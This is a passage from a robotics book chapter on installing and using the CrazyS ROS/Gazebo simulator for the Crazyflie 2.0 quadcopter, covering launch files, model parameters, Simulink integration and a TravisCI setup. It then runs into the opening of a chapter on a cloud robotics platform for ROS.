$ echo "source /opt/ros/kinetic/setup.bash" >> ∼/.bashrc
$ source ∼/.bashrc
$ sudo apt-get install python-rosinstall python-

rosinstall-generator python-wstool build-essential

Listing 4.3 Installation instructions - Ubuntu 16.04 with ROS Kinetic Kame

3.1.2 Installing CrazyS from Source

After having configured both the OS and ROS, the platform can be installed from
source. Although CrazyS is completely independent of the chosen OS or ROS dis-
tribution, the package dependencies have to be satisfied according to the chosen OS
and ROS distro. Therefore, in Listing 4.4 we report the installing procedure for the
Kinetic Kame version of ROS. Whereas, in Listing 4.5 the package dependencies for
the Indigo Igloo distro are reported (the procedure is exactly the same as for Kinetic
Kame).
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$ sudo apt-get ros-kinetic-joy ros-kinetic-octomap-ros
ros-kinetic-mavlink python-catkin-tools protobuf-
compiler libgoogle-glog-dev ros-kinetic-control-
toolbox
$ mkdir -p ∼/catkin_ws/src
$ cd ∼/catkin_ws/src
$ catkin_init_workspace
$ catkin init
$ git clone https://github.com/gsilano/CrazyS.git
$ git clone https://github.com/gsilano/mav_comm.git
$ cd ∼/catkin_ws/src/mav_comm & git checkout crazys
$ rosdep update
$ cd ∼/catkin_ws
$ rosdep install --from-paths src -i
$ catkin build
$ echo "source ∼/catkin_ws/devel/setup.bash" >> ∼/.bashrc
$ source ∼/.bashrc
Listing 4.4 Installation instructions from source with ROS Kinetic Kame

$ sudo apt-get ros-indigo-octomap-ros python-wstool
python-catkin-tools protobuf-compiler

$ sudo apt-get ros-indigo-joy libgoogle-glog-dev

Listing 4.5 Package dependencies for installing CrazyS from source with ROS Indigo Igloo

Such procedure allows to create a workspace folder (catkin_ws) that will con-
tain (in the src directory) the code that simulates the Crazyflie dynamics and behav-
ior (determined by sensors model and control algorithms). Further details about the
workspace and its meaning can be found in [61], while in [62] there are reported
more details regarding messages and services used during the simulation.

3.2 Hovering Example

Launching the simulation is quite simple, so as customizing it: it is enough to run in
a terminal the command

$ roslaunch rotors_gazebo crazyflie2_hovering_example.
launch

By default the state estimator is disabled since on-board Crazyflie’s sensors are
replaced by the odometry one. For running the simulation by taking into account the
Crazyflie’s IMU and the complementary filter, it is enough to give a command that
turns on the flag enable_state_estimator:
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$ roslaunch rotors_gazebo crazyflie2_hovering_example.
launch enable_state_estimator:=true

The visual outcome will see the nano-quadcopter taking off after 5s (time after
which the hovering_example node publishes the trajectory to follow) and flying
one meter above the ground, at the same time keeping near to zero the position
components along x and y-axis.

For understanding how the controllers work (the reference generator and the
Crazyflie’s on-board controller, see Sect. 2.2), two plots of the drone position and
orientation have been added in the launch file. At each time step, data coming from
the Gazebo plugins are reported on the plots avoiding to go through the rosbag files.5

The flexible and fully controllable structure of the launch file allows to plot any
information coming from the simulator. Among such data we can consider the drone
state (ud , vd , wd , etc.), the command signals (θc, φc, Ωc and ψ̇c) or the trajectory
references (xr , yr , zr and ψr ).

3.3 Simulator Description

This section is focused on describing how RotorS (and thus CrazyS), works together
with ROS and Gazebo, by considering as illustrative application the hovering exam-

ple. An overview of the main components is reported in Fig. 6 while further details
can be found in [28].

To facilitate the development of different control strategies, we recommend to
provide a simple interface, like the modular architecture developed for CrazyS and
appropriately adapted from RotorS. In the illustrative example we developed a linear
position control strategy (see Sect. 2.2), but other control laws can be considered,
even nonlinear [63–65]. Indeed, the simulator has to be meant as a starting point to
implement more advanced control strategies for the Crazyflie and, more generally,
for any quadrotor that can be modeled in Gazebo through RotorS.

All the components of the nano-quadcopter are simulated by Gazebo plugins and
the Gazebo physics engine. The body of the aircraft consists of four rotors, which
can be placed in any location allowing configuration changes (e.g., from “+” to “×”,
see Sect. 3.3.1), and some sensors attached to the body (e.g., gyroscope, accelerom-
eter, camera, barometer, laser scanner, etc.). Each rotor has properly dynamics and
accounts for the most dominant aerodynamic effects. Also external influences can be
taken into account, such as a wind gust, but they are neglected in this tutorial chapter.

A further block is the state estimator, used to obtain information about the state of
the drone (see Sect. 2.3). While it is crucial on a real quadcopter, in simulation it can
be replaced by a generic (ideal) odometry sensor (with or without noise and bias) in
order to understand the effects of the state estimation. In Sect. 3.4.2 some graphics
show how the vehicle behavior changes when the drone state is not completely
available and it is partially replaced by the on-board complementary filter outputs.

5Bags are typically created by a tool like rosbag, which subscribes to one or more ROS topic, and
stores the serialized message data in a file as it is received.
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Fig. 6 Crazyflie 2.0 components in CrazyS, inspired by the RotorS structure

In order to easily test different scenarios, ROS allows to use a suitable launch

file. As we said before, such file allows to enable or disable the state estimator.
That means that the drone orientation and angular velocities are provided by the
odometry sensor when the state estimator is turned off, and by the complementary
filter (that uses gyroscope and accelerometer data coming from the on-board IMU)
when it is switched on (as depicted in Fig. 6). For simplicity, the proposed application
considers that in both cases the drone position and linear velocities are provided by
the odometry sensor, as described in Sect. 2.2. A different possibility might arise,
e.g., when drones fly indoors [66, 67], when a MoCap system is used to provide such
information. However, in place of the complementary filter, a more complicated state
estimator has to be used in that case.

It is important to highlight how all such features make the tool potentialities
endless. Once the Crazyflie is flying, higher level tasks can be carried out and
tested in the simulation environment, such as simultaneous localization and mapping
(SLAM) [68], planning [69], learning [70], collision avoidance [71], etc. Moreover,
it is possible to evaluate easily different scenarios (e.g., how a different sensor time
response affects the aircraft stability).
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3.3.1 Model Description and Simulation

One of main objectives of using the proposed methodology is to simulate a scenario
quite closely to the real world, so that it comes easy the reuse of the software archi-
tecture when porting it on the real Crazyflie vehicle (e.g., through the ROS packages
Crazyswarm [33] or Crazyros [29, 36]). With this aim we started from one of the avail-
able examples in RotorS (specifically the mav_hovering_example.launch)
having a quite detailed model of drone dynamics.

Thus, we cast that model and control parts to corresponding parts of the Crazyflie
nano-quadcopter by considering the specific components (see Fig. 6), the Crazyflie
physical dynamics and parameters, and the perception sensors. The overall ROS
architecture is depicted in Fig. 7 where the topics and nodes are represented. The
whole process is the following: the desired position coordinates (xr , yr , zr , ψr )
are published by the hovering_example node on the topic command/trajectory, to
which the position_controller node (i.e., the Crazyflie controller) is subscribed. The
drone state (odometry topic) and the references are used to run the control strategy
designed for the position tracking. The outputs of the control algorithm consist into

/hovering example

/position controller node

/gazebo

/command/trajectory

/odometry /command/motor speed

crazyflie2

gazebo

Fig. 7 Graph of ROS nodes (ellipses) and topics (squares) of the hovering example with the
Crazyflie 2.0. The continuous line arrows are topic subscriptions, with directions going from the
subscriber node to the publisher one
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Fig. 8 On-board control architecture of the Crazyflie 2.0 when the state estimator is not considered
in the simulation: the estimated data are replaced by the ideal values
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the actuation commands (ω1, ω2, ω3 and ω4) sent to Gazebo (command/motor_speed)
for the physical simulation and the corresponding graphical rendering, so to visually
update the aircraft position and orientation.

When the state estimator is turned off, the drone orientation (φk , θk and ψk)
and angular velocities (pk , qk and rk) published on the topic odometry are replaced
by the ideal values coming from the odometry sensor. Thus, the on-board control
architecture of the Crazyflie changes as depicted in Fig. 8.

RotorS uses Xacro files for describing vehicles, the same structure employed also
for the sensors. Thus, for defining the Crazyflie aircraft, the XML tag structure is
employed to set properties that are related to the physical features of the drone, like
the quadrotor aerodynamic coefficients [50] or other physical parameters [45]. In
particular, the crazyflie2.xacro file (see Listing 4.6) allows to describe com-
ponents and properties such as the motors constant, the rolling moment coefficient,
the mass of the vehicle, the moments of inertia along the axes, the arm length, the
propellers direction, and so on, in according to the aircraft model (see Sect. 2.1).
Such file is executed at runtime when the simulation is going to start.

<robot name="crazyflie2" xmlns:xacro="http://ros.org/wiki
/xacro">

<xacro:property name="namespace" value="$(arg mav_name)"
/>

<xacro:property name="rotor_velocity_slowdown_sim" value=
"50" />

<xacro:property name="use_mesh_file" value="true" />
<xacro:property name="mesh_file" value="package://

rotors_description/meshes/crazyflie2.dae" />
<xacro:property name="mass" value="0.025" />
<xacro:property name="body_width" value="0.045" />
<xacro:property name="body_height" value="0.03" />
<xacro:property name="mass_rotor" value="0.0005" />
<xacro:property name="arm_length" value="0.046" />
<xacro:property name="rotor_offset_top" value="0.024" />
<xacro:property name="radius_rotor" value="0.0225" />
<xacro:property name="sin45" value="0.707106781186" />
<xacro:property name="cos45" value="0.707106781186" />

<xacro:property name="motor_constant" value="1.28192e-08"
/>

<xacro:property name="moment_constant" value="5.964552e
-03" />

<xacro:property name="time_constant_up" value="0.0125" />
<xacro:property name="time_constant_down" value="0.025" /

>
<xacro:property name="max_rot_velocity" value="2618" />
<xacro:property name="rotor_drag_coefficient" value="

8.06428e-05" />
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<xacro:property name="rolling_moment_coefficient" value="
0.000001" />

...

<xacro:vertical_rotor
robot_namespace="${namespace}"
suffix="front-right"
direction="ccw"
motor_constant="${motor_constant}"
moment_constant="${moment_constant}"
parent="${namespace}/base_link"
mass_rotor="${mass_rotor}"
radius_rotor="${radius_rotor}"
time_constant_up="${time_constant_up}"
time_constant_down="${time_constant_down}"
max_rot_velocity="${max_rot_velocity}"
motor_number="0"
rotor_drag_coefficient="${rotor_drag_coefficient}"
rolling_moment_coefficient="${rolling_moment_coefficient}

"
color="Red"
use_own_mesh="false"
mesh="">
<origin xyz="${cos45*arm_length} -${sin45*arm_length} ${

rotor_offset_top}" rpy="0 0 0" />
<xacro:insert_block name="rotor_inertia" />
</xacro:vertical_rotor>

...

Listing 4.6 Crazyflie 2.0 parameters and geometry file

The mentioned files, i.e.,crazyflie2.xacro,crazyflie_base.xacro,
component_snippets.xacro (see Sect. 2.3.2), are related to each other mak-
ing the aircraft model like a chain, where each link has a proper aim and without them
the simulation cannot start. Thus, in order to facilitate the understanding and making
clear how to develop an own platform, Fig. 9 illustrates the overall architecture of
the simulation that is instantiated by invoking the launch file.

Conversely, the robot geometry has been modeled by using the open-source
software Blender (see Fig. 10) and the vertical_rotor macro defined in the
multirotor_base.xacro file. Starting from the mesh file available on [46],
the digital representation of the propellers has been changed from a “+” configu-
ration (Crazyflie 1.0) to a “×” configuration (Crazyflie 2.0) providing textures and
materials with the crazyflie2.dae file (it employs the COLLADA [72] format).
That illustrates how it is possible to start from a CAD file, i.e., the 3D model of the
vehicle, to the simulation environment in few steps, taking care to convert the file to
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a format readable by Gazebo. In particular, it is possible to note how the position of
the propellers was set up by varying the parameters of the tag <origin xyz="X
Y Z" rpy="ROLL PITCH YAW"> (see Listing 4.6), where X, Y and Z represent
the x , y and z propeller coordinates in the fixed inertial frame, respectively, and
ROLL, PITCH and YAW its attitude.

3.4 Developing a Custom Controller

This section (in particular Sect. 3.4.1) explains how to use the MathWorks Robotics
System Toolbox [73] to build-up a SITL simulation architecture in which Simulink
schemes of control loops6 are reused and interfaced to Gazebo in order to simulate

crazyflie2 hovering example.launch

spawn mav crazyflie.launch

crazyflie base.xacro

component snippets.xacro

crazyflie2.xacro

crazyflie2.dae

Gazebo

Simulate the on-board

sensors and configure

simulation features

Simulate dynam-

ics and geometry

Fig. 9 The software flow diagram in CrazyS. The rectangles represent the file while the arrows the
flow of calls from the launch file to the Gazebo 3D virtual environment

6Matlab/Simulink is widely spread among control engineers that use those tools for designing their
control strategies. Control design is not the aim of the chapter and thus we assume Simulink schemes
have already been defined in an earlier phase and are available for the SITL simulation.
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Fig. 10 Crazyflie digital representation by using the open-source software Blender

the detailed aircraft physical model. The C++ code implementation of the Simulink
schemes and their ROS integration will be discussed in the following Sect. 3.4.2 by
closing the process and achieving the final and complete SITL simulation architec-
ture. The overall procedure will be described in details, however we illustrate here
the motivations of the proposed approach.

The first phase based on MathWorks RST allows in few steps to compare the
results obtained from the interaction between Simulink schemes (controller) and
Gazebo (physics) with the outcomes of the system completely implemented in Mat-
lab/Simulink (both physical model and controller). In this way, implementation
details like controller discretization, concurrency, timing issues, can be isolated when
looking at the Matlab/Simulink platform only, while their effects can be investigated
by considering the Simulink and Gazebo simulations.

In few words, the RST allows in an easy way to test and verify the behavior of the
flight control system (see Sect. 2.2), by comparing and evaluating different control
strategies, making possible to come back easily to the control design phase (whose
outputs are usually the Simulink schemes) before implementing the ROS code. Such
approach saves time in the development of possible problematic code and fulfills
requirements of modern embedded systems development based on the well-known
V-model [31].

The entire process has been tested with the 2017b release of Matlab, but it is
compatible with any Matlab release successive to 2015a. The code is specific for
the use case study, but it can be easily and quickly customized to work with any
quadrotor in the simulation framework.
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3.4.1 Robotics System Toolbox

The MathWorks Robotics System Toolbox provides an interface [74] between Mat-
lab/Simulink and ROS, allowing to establish a connection with the ROS master
(Gazebo in our case) directly controlling the Crazyflie dynamics.

Starting from that scheme, the feedback loops are replaced by RST blocks imple-
menting the publish/subscribe paradigm dealing with ROS topics, as depicted in
Fig. 11. The Gazebo plugins will provide the sensors data, while the controller out-
puts (actuators commands) will be sent to the detailed physical model in the virtual
scenario. Therefore, the Crazyflie model, that was present in the Simulink scheme
when simulating the controlled drone dynamics in Matlab, can be removed. Although
now the simulation is based on the physical engine of Gazebo and runs through the
ROS middleware, any change or modification of the control law is limited to standard
Simulink blocks at a higher abstraction level.

RST is available from the 2015a release of Matlab but not all types of ROS mes-
sages are supported. In particular, RST does not support mav_msgs/Actuators
messages employed in RotorS to send the propellers angular velocities to the Gazebo
physics engine, at least till Matlab release 2017b. The issue can be partially overcome
by installing a suitable add-ons roboticsAddons, hosted on the MathWorks add-
ons explore site [75], and by creating the custom messages starting from the properly
ROS package [76]. Indeed, the toolbox supports the forwarding of custom messages
only via Matlab scripts. Therefore, the Simulink schemes have to be adapted and inte-
grated with Matlab scripts for exchanging data and commands with ROS and Gazebo.
Due to space constraints, the whole procedure as well as the employed schemes and
scripts will not be described here but all information are available in [77].

As shown in [77, 78], the communication between Simulink and Gazebo needs
to be synchronized via Gazebo services (unpause and pause_physics) that run and
stop the simulation so to avoid data losses and system instabilities. When the scheme
runs in synchronization mode, the client (Matlab) is in charge of deciding when the
next step should be triggered by making the server (Gazebo) advance the simulation.

Drone state

Trajectoryreferences

Propellers angular velocity

Flight Control System

ROS

Publish

/command/motor_speed

Msg

ROS

Blank Message

mav_msgs/Actuators

Msg

ROS

Subscribe

/odometry

IsNew

Msg
Msg

Msg

:= Prop. ang. vel.

[x_r y_r z_r psi_r]

Trajectory references

Fig. 11 Simulink control scheme by using RST blocks. The red box highlights the block imple-
menting the ROS topic subscription to the sensors values, while the green box indicates the block
in charge to publish the propellers angular velocity
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In this way it is avoided any possible synchronization/communication issue arising
from a real implementation of a cyberphysical system. When the control strategy
is sufficiently investigated and verified, all implementation issues can be modeled
and/or taken into account thus removing the artificial synchronization and proceeding
with the coding for implementing the control strategy on middleware like ROS or
even on a real time OS.

In Listing 4.7 the launch code (specifically the crazyflie_without
_controller.launch) employed to link Matlab/Simulink with ROS and Gazebo,
is reported. Such code starts the server (Gazebo) that simulates the Crazyflie dynam-
ics and sensors. Then, Gazebo goes in stand-by waiting for the Simulink scheme
implementing the controller. It will be in charge to run and pause the physical engine
computations in order to simulate the controlled scenario.

<launch>

<arg name="mav_name" default="crazyflie2"/>
<arg name="world_name" default="basic"/>
<arg name="enable_logging" default="false" />
<arg name="enable_ground_truth" default="true" />
<arg name="enable_state_estimator" default="false" />
<arg name="log_file" default="$(arg mav_name)" />
<arg name="paused" value="true"/>
<arg name="debug" default="false"/>
<arg name="gui" default="true"/>
<arg name="verbose" default="false"/>

<env name="GAZEBO_MODEL_PATH" value="${GAZEBO_MODEL_PATH
}:$(find rotors_gazebo)/models"/>

<env name="GAZEBO_RESOURCE_PATH" value="${
GAZEBO_RESOURCE_PATH}:$(find rotors_gazebo)/models"/>

<include file="$(find gazebo_ros)/launch/empty_world.
launch">
<arg name="world_name" value="$(find rotors_gazebo)/
worlds/$(arg world_name)_crazyflie.world" />
<arg name="debug" value="$(arg debug)" />
<arg name="paused" value="$(arg paused)"/>
<arg name="gui" value="$(arg gui)" />
<arg name="verbose" value="$(arg verbose)"/>

</include>

</launch>

Listing 4.7 Launch file employed to simulate the Crazyflie dynamics and sensors

Note that although the RST supports C++ code generation [79] and it is able to
generate automatically a ROS node from a Simulink scheme and deploying it into a
ROS network, it is not immediate to integrate everything within RotorS obtaining,
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at the same time, a readable code. Thus, we followed the approach of developing
manually the code paying attention to the software reuse and to modular design.

3.4.2 ROS Integration

In this section it is described and analyzed the code structure that implements the
controller of the vehicle. As illustrated in Fig. 7 and already referred in Sect. 3.3.1,
the nav_msgs/Odometry messages published on the topic odometry by Gazebo, are
handled by the position_controller node that has the aim of computing the propellers
speed. Such speeds are later published on the command/motor_speed topic through
mav_msgs/Actuators messages.

The controller implementation is divided into two main parts: the first part handles
the parameters and the messages passing, and it is implemented as a ROS node (i.e.,
the position_controller node); while the second part is a library of functions, called by
the ROS node and get linked to it at compilation time by using the CMakeList.txt
file,7 that implements all required computations (the crazyflie_onboard_controller,
the crazyflie_complementary_filter, etc.). Parameters (both controller and vehi-
cle ones) are set in YAML files8 (e.g., controller_crazyflie2.yaml,
crazyflie2.yaml, etc.) and passed to the ROS parameter server by using the
launch file in which the following line between the <node> tags is added.

<rosparam command="load" file= "$(find rotors_gazebo)/
resource/controller_crazyflie2.yaml"/>

The ROS parameter server makes those values available to the ROS network avoid-
ing to build-up all executables every time a slight modification occurs (a very time
consuming step). In this way it is possible to modify the controller gains described in
Sect. 2.2 or the vehicle parameters (like the Crazyflie mass, its inertia or the rotor con-
figuration) in a very simple way, evaluating more quickly how system performance
changes at each different simulation.

In order to show the potentialities and the flexibility of the platform, a ROS
node has been developed to simulate the scenario with and without the Crazyflie
on-board state estimator. The node is able to catch the data coming from Gazebo,
or other nodes in the ROS network (e.g., the hovering_example that is in charge to
publish the trajectory to follow), and to send the actuation commands (ω1, ω2, ω3

and ω4) to the Gazebo physics engine. To that aim, a suitable launch file, i.e., the
crazyflie2_hovering_example.launch, was made to handle the simula-
tion starting. That file allows to switch from a scenario to another one by varying
the boolean value of the variable enable_state_estimator as illustrated in
Sect. 3.2.

7It manages the build process of the software. It supports directory hierarchies and applications that
depend on multiple libraries.
8YAML (YAML Ain’t Markup Language) is a human-readable data serialization language and is
commonly used for configuration files. YAML targets many of the same communications applica-
tions as XML but has a minimal syntax which intentionally breaks.
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rotors control
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- src
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- test eval
- waypoints eval

CrazyS

Fig. 12 Structures of the packages contained in the CrazyS repository

When the state estimator is disabled (i.e., the odometry sensor is used), the call-
back methods work only with the Odometry (for reading sensors data) and MultiD-

OFJointTrajectory (for reading trajectory references) messages. Instead, when the
complementary filter works a callback method considers also the IMU messages.
ROS timers have been introduced for dealing with the update rate of the Crazyflie
on-board control and the sampling time of the position control loop (chosen to be
1 ms as defined in basic_crazyflie.world file). In both cases, at each time
step, the method CalculateRotorVelocities computes the rotor velocities
ωi from the controller’s input and drone current (or estimated) state.

In order to facilitate the reuse of the software modules developed in CrazyS, the
inner loop (the attitude and rate controllers, i.e., the Crazyflie on-board controller,
see Fig. 5) and the complementary filter have been implemented as libraries. In such
a way, state estimators and controllers can be easily employed in any node of the ROS
network or replaced by improving Crazyflie’s performance. In Fig. 12 the CrazyS
packages structures and the main files included into the CrazyS ROS repository are
depicted.

The overall system has been simulated through Gazebo/ROS and the results illus-
trate in a direct way how the system works (the corresponding video is available [80]):
the Crazyflie 2.0 keeps the hovering position until the simulation stops. Moreover,
from the video [81] it appears evident how the control system is able to compensate
attitude and position disturbances coming back to the hovering position. Finally, a
further scenario (video [82]) considers the “real” sensors (see Fig. 5) by taking into
account the IMU and the complementary filter. All the experiments have been carried
out by using Kinetic Kame version of ROS (as we said before, it is also compatible
with the Indigo Igloo version) for visualization and scripting, and they were run on
a workstation based on Xeon E3-1245 3.50 GHz, Gallium 0.4 on NV117 and 32GB
of RAM with Ubuntu 16.04.
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Fig. 13 Drone position during the hovering example. In red the numerical results (Matlab/Simulink)
and in blue and green the simulation results (Gazebo/ROS) with and without the real sensors

Figure 13 reports numerical results obtained in Matlab/Simulink (both the physical
model and control are simulated there) by considering the perfect state information
(“n” subscript signals, solid lines). Simulation results obtained in Gazebo/ROS (“s”
subscript signals) are depicted, as well. In particular, the subscript “imu” has been
used to discriminate the data when the state estimator is in the loop. The controller
works quite well in all considered scenarios. Nevertheless, designing a high perfor-
mance hovering controller is not the aim of this work but we considered such task
to show the advantages of the SITL simulation implemented through the CrazyS
platform. From a control point of view, better results might be obtained by using a
Kalman filter [83] (already developed in the Crazyflie firmware but not used as the
default state estimator, probably due to the increase of computational burden) or the
new on-board control [84] released with the 2018.10 version of the firmware.

3.5 Continuous Integration System

In this section we illustrate our proposed solution to link the continuous integration
(CI) open-source platform TravisCI [85] with the CrazyS repository. Moreover we
describe the corresponding advantages that a CI system may give when developing
a ROS component like CrazyS.

Listing 4.8 reports the script used to configure the CrazyS repository with
TravisCI. The code is based on an existing open-source project [86] and has been
customized to make it compatible with the Kinetic Kame distro of ROS. Also, a pull
request [87] has been opened to share our code with other researchers and developers.
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matrix:
include:

- os: linux
dist: trusty
sudo: required
env: ROS_DISTRO=indigo

- os: linux
dist: xenial
sudo: required
env: ROS_DISTRO=kinetic

language:
- generic

cache:
- apt

env:
global:

- ROS_CI_DESKTOP="‘lsb_release -cs‘"
- CI_SOURCE_PATH=$(pwd)
- ROSINSTALL_FILE=$CI_SOURCE_PATH/dependencies.rosinstall
- CATKIN_OPTIONS=$CI_SOURCE_PATH/catkin.options
- ROS_PARALLEL_JOBS=’-j8 -l6’
- PYTHONPATH=$PYTHONPATH:/usr/lib/python2.7/dist-packages
:/usr/local/lib/python2.7/dist-packages

before_install:
- sudo sh -c ’echo "deb http://packages.ros.org/ros/
ubuntu $ROS_CI_DESKTOP main" > /etc/apt/sources.list.d/
ros-latest.list’
- wget http://packages.ros.org/ros.key -O - | sudo apt-
key add -
- if [[ "$ROS_DISTRO" == "indigo" ]]; then sudo apt-get
update && sudo apt-get install dpkg; fi
- if [[ "$ROS_DISTRO" == "kinetic" ]]; then sudo rm /var/
lib/dpkg/lock; fi
- if [[ "$ROS_DISTRO" == "kinetic" ]]; then sudo dpkg --
configure -a; fi
- sudo apt-get update
- sudo apt-get install ros-$ROS_DISTRO-desktop-full
ros-$ROS_DISTRO-joy ros-$ROS_DISTRO-octomap-ros python-
wstool python-catkin-tools
- sudo apt-get install protobuf-compiler libgoogle-
glog-dev
- sudo rosdep init
- rosdep update
- source /opt/ros/$ROS_DISTRO/setup.bash

install:
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- mkdir -p ∼/catkin_ws/src
- cd ∼/catkin_ws/src
- catkin_init_workspace
- catkin init
- git clone https://github.com/gsilano/CrazyS.git
- git clone https://github.com/gsilano/mav_comm.git
- rosdep update
- cd ∼/catkin_ws
- rosdep install --from-paths src -i
- catkin build
- echo "source ∼/catkin_ws/devel/setup.bash" >> ∼/.
bashrc
- source ∼/.bashrc

Listing 4.8 TravisCI script for Ubuntu 14.04 and 16.04 with ROS Indigo Igloo and Kinetic Kame,
respectively

In order to use TravisCI, a GitHub account and the TravisCI script are all the
necessary components. The script, i.e., the .travis.yml file, has to be put in the
root of the active repository.9

Looking at the listing, the file is split into five main parts: include, language
and cache,env,before_install and install. In the first part, the matrix
command tells TravisCI that two machines should be created sequentially. That
allows to build and to test the code with different ROS distros (Indigo Igloo and
Kinetic Kame, in our case) and OS (Thrusty and Xenial, 14.04 and 16.04 versions
of Ubuntu, respectively) through the include command.

The second part, language and cache, enables the installing of the required
ROS packages (see Sect. 3.1). It allows to customize the environment running in
a virtual machine. Finally, the parts env and before_install configure all
variables (they are used to trigger a build matrix) and system dependencies.

When the process starts, the catkin workspace is build with all the packages
under integration (the commands listed in the install section). TravisCI clones
the GitHub repository(-ies) into a new virtual environment, and carries out a series
of tasks to build and test the code. If one or more of those tasks fails, the build is
considered broken. If none of the tasks fails, the build is considered passed, and
TravisCI can deploy the code to a web server, or an application host. In particular,
the build is considered broken when one or more of its jobs complete with a state
that is not passed:

– errored: a command in the before_install or install phase returned a
non-zero exit code. The job stops immediately;

– failed: a command in the script phase returned a non-zero exit code. The job
continues to run until it completes;

– canceled: a user cancels the job before it completes.

9For students or academics, GitHub gives the possibility to build infinite private builds.
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At the end of the process, email notifications are sent to all the listed contributors
members of the repository. The notifications can be forwarded: on success, on failure,
always or never. Finally, the CI system can be also employed to automatically gen-
erate documentation starting from the source code and to link it to an online hosting.
It is very useful when the project is going to increase or a lot of people are working
on it or, more generally, when it is difficult to have an overview of the developed
code. Further information on how to use the CI system and how to configure it can
be found in [88].

Such procedure allows to easily verify the code quality, underlying errors and
warnings through automated software build (including tests), that may not appear
when building on own machine. It also ensures that modules working individually
(e.g., SLAM, vision or sensors fusion algorithms) do not fail when they are put
together due to causes that were difficult to predict during the development phase.
For all such reasons, having a software tool able to catch what happened and why
it happened, and able to suggest possible solutions, is extremely desirable when
working with complex platforms as Gazebo and ROS.

4 Conclusion and Future Work

In this tutorial chapter we illustrated how to expand the functionalities of the ROS
package RotorS for modeling and integrating the nano-quadcopter Crazyflie 2.0 in a
detailed simulation framework achieving a complete SITL simulation solution. The
overall approach aimed at developing the system in a modular way by facilitating
the reuse of software modules. The proposed methodology allows to combine dif-
ferent state estimators and control algorithms, evaluating the performances before
deploying them on a real device.

The chapter discussed the CrazyS platform from the installation to the devel-
opment of a custom controller and the presentation has been thought not only for
researchers but also for educational purposes, so that interested students might work
in a complete and powerful environment developing their own algorithms.

Future directions for this works can include several aspects. Firstly, controller’s
code and all proposed algorithms should be tested in real-world experiments on
the real Crazyflie platform in different scenarios, thus allowing to understand in a
quantitative way how the CrazyS platform reflects the real drone behavior. Secondly,
the latest firmware release, the 2018.10, may be included in the repository, aligning
CrazyS with the current version of the quadcopter. Finally, it may be possible to look
for some improvements of the inner loop (on-board controller) that, after having been
tested on CrazyS, can be thought to replace the on-board controller of the Crazyflie.
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Cloud Robotics with ROS

Giovanni Toffetti and Thomas Michael Bohnert

Abstract Cloud computing can greatly enhance robotic applications, not only by
complementing robotic resources (e.g., CPU/GPU, memory, storage), but also by
providing global-scale highly available services, distributed application manage-
ment solutions, proven development and deployment practices. However, several
challenges have to be addressed in order to bridge the gap between cloud and robotic
development, including ROS and cloud design assumptions, networking, and mobile
robots. In this chapter we present ECRP, a Platform as a Service solution for building
ROS-based cloud robotics applications.

Keywords Cloud robotics · Platform as a Service · Cloud computing

1 Introduction

The commercial domain of robotics is dominated by large enterprises, many of
which multi-national conglomerates with origins in industry automation. Respec-
tively, hardware platforms and software frameworks were closed and purpose-built
for very specific applications.

Despite the long existence of robotics and an active market of start-ups in recent
time, there is no open and established eco-system anywhere near to the likes of
iOS/Android, the entire Linux domain, Apache Hadoop ecosystem, OpenStack and
other OSS Infrastructure as a Service stacks. Recent developments, however, provide
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evidence for a disruption in the making. Comparable to the introduction of Linux or
Android, the availability of the Robot Operating System (ROS)1 is set to open-up
and liberate the robotics market towards a truly open and participatory ecosystem.

Yet, ROS was designed with the focal point of an individual robot device in
a local deployment. To truly unfold the potential of robotics, one has to take up
a much wider vision, with large deployments of very heterogeneous robots, with
very different abilities, in completely different environments. This adds different
challenges for robot system development than targeting individual robots separately
or as a small set. Furthermore, robots are meant to assist in application domains and
those applications are equally diverse as the robots, ranging from personal all the
way to enterprise and industrial application domains.

What is therefore needed is the vision of an ecosystem that embraces the het-
erogeneity not only from a device perspective, but also in terms of user and societal
needs, respective robotics applications, and related commercial imperatives. Such an
ecosystem will enable all stakeholders to participate in the vision of global availabil-
ity of a wide array of robotics services and provides the means for robots to serve us
not only on our workplace and professional lives, but also in our private ones.

The Cloud Computing Platform as a Service (PaaS) [16] paradigm is the natural
incarnation of such an ecosystem from a development perspective. PaaS provides
a development and execution environment (an execution platform) that, abstracting
from the underlying system infrastructure (e.g., bare-metal servers, virtual machines,
robots, generic devices), allows developers to focus on application functionality,
building, deploying, and managing at runtime their applications as compositions of
high level platform components and services.

Platform as a Service has had a tremendous impact on development productiv-
ity by providing build and deployment automation from source code, simplified
access to an easily composable ecosystem of pre-packaged services that can be
self-provisioned, application health-management functionalities, and management
and monitoring dashboards. The goal is to achieve the same results for robotics

development through the cloud. In order to succeed, we need to be able to provide
the same advantages across the board that a PaaS gives in pure cloud-development
environments, e.g. for example in Web development.

This chapter will relate on the design, architecture, and implementation experi-
ence of the Enterprise Cloud Robotics Platform (ECRP), the first PaaS for ROS
development. The research questions we will answer are: How to design a domain-
specific PaaS for ROS-based robotics? (Sect. 3) What are the expected roles and
abstractions? (Sect. 3.2) How to integrate ephemeral and diverse robot resources,
and robot control software frameworks, what kind of software development support
to provide? (Sects. 4 and 5).

The challenges related to designing a Robotics PaaS start from infrastructural
concerns such as managing compute, networking, and storage across two or more
separate physical domains, robots/edge and data centers, making sure that intermit-
tent connectivity does not hinder its functioning, and building a seamless runtime

1https://www.ros.org
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platform on top of it. From the Platform perspective other challenges come from
building a set of generic and reusable components, orchestrating their deployment,
their dynamic discovery and composition at runtime, as well as adaptively placing
them according to infrastructural capabilities (e.g., presence of devices on robots) as
well as performance requirements. Most of these challenges require proper innova-
tion in their own right, and will be addressed in the chapter.

2 State of the Art

2.1 Cloud Robotics

The relatively novel concept of Cloud Robotics centered around the benefits of con-
verged infrastructure and shared services for robotics. The idea of utilising a remote
brain for the robots can be traced back to the 90s [8, 12].

The DAvinCi Project [1] uses ROS as the messaging framework to process data
with a Hadoop cluster, parallelizing the FastSLAM algorithm [28]. Unfortunately,
the DAvinCi Project is not publicly available.

While the main focus of DAvinCi was computation, the ubiquitous network robot
platform (UNR-PF) [13, 23] focused on using the cloud as a medium for establishing
a network between robots, sensors, and mobile devices.

Similar examples of connecting ROS middleware to remote processes include
Rosbridge [3] and FIROS [10]. Rosbridge provides JSON Application Programming
Interface (APIs) to ROS functionality using the WebSocket protocol while FIROS
connects the ROS middleware to the FIWARE ecosystem by acting as a translator
between ROS messages and FIWARE NGSI format.

RoboEarth [31], a Cloud Robotics initiative, focuses on Knowledge Representa-
tion, Storage Infrastructure and scalable cloud-based computation. The RoboEarth
Cloud Engine [17], is based on elastic computing, allowing robots to share all or a sub-
set of their services and information. RoboEarth WebSocket-based communication
server provides bidirectional, virtually full-duplex communication between clouds
